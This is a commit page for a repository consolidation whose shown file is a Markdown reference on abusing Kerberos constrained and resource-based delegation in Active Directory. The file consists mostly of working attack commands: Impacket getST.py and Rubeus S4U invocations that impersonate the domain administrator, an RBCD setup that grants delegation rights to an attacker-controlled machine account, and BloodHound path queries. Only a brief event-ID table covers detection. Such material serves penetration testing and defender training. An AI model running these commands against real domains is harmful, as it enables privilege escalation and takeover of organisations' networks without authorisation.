Claude 24f816b6a3
Consolidate 22 sibling repos into layered organism structure
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):

- brain/        LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
                dispatch, A51 channels, and the OSINT cluster
- knowledge/    LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
                MITRE ATT&CK data
- reference/    defensive threat-reference (C3, shhbruh doc) + AdaYaml parser

License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.

Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.

https://claude.ai/code/session_01UehUqEXXJJCsHoA4voCU5c
2026-06-10 06:53:01 +00:00

90 lines
2.2 KiB
Markdown

# API Reference: Kerberos Constrained Delegation Abuse
## Delegation Types in AD
| Type | Attribute | Risk |
|------|-----------|------|
| Unconstrained | TrustedForDelegation | CRITICAL |
| Constrained | msDS-AllowedToDelegateTo | HIGH |
| Constrained + Protocol Transition | TrustedToAuthForDelegation | CRITICAL |
| Resource-Based (RBCD) | msDS-AllowedToActOnBehalfOfOtherIdentity | HIGH |
## PowerShell Enumeration
### Find Constrained Delegation
```powershell
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} `
-Properties msDS-AllowedToDelegateTo, TrustedToAuthForDelegation
```
### Find RBCD
```powershell
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity `
| Where-Object {$_.'msDS-AllowedToActOnBehalfOfOtherIdentity' -ne $null}
```
## Impacket — S4U Attack
### getST.py — Request Service Ticket
```bash
getST.py domain/svc_account:password \
-spn cifs/target.domain.local \
-impersonate administrator \
-dc-ip 10.10.10.1
```
### Use Ticket
```bash
export KRB5CCNAME=administrator.ccache
smbclient.py -k -no-pass domain/administrator@target.domain.local
```
## Rubeus — S4U Attack
### S4U2Self + S4U2Proxy
```cmd
Rubeus.exe s4u /user:svc_account /rc4:NTLM_HASH \
/impersonateuser:administrator \
/msdsspn:cifs/target.domain.local /ptt
```
### RBCD Abuse
```cmd
Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_HASH \
/impersonateuser:administrator \
/msdsspn:cifs/target.domain.local /ptt
```
## RBCD Setup with PowerShell
### Set RBCD
```powershell
Set-ADComputer target -PrincipalsAllowedToDelegateToAccount attacker$
```
### Verify
```powershell
Get-ADComputer target -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
```
## BloodHound Cypher Queries
### Constrained Delegation Paths
```cypher
MATCH p=(u)-[:AllowedToDelegate]->(c:Computer)
RETURN u.name, c.name
```
### RBCD Write Access
```cypher
MATCH p=(u)-[:GenericWrite|WriteDacl|WriteOwner]->(c:Computer)
RETURN u.name, c.name
```
## Detection — Event IDs
| Event | Description |
|-------|-------------|
| 4769 | Kerberos Service Ticket (check for S4U) |
| 4770 | Service Ticket Renewed |
| 4768 | TGT Request (monitor for delegation) |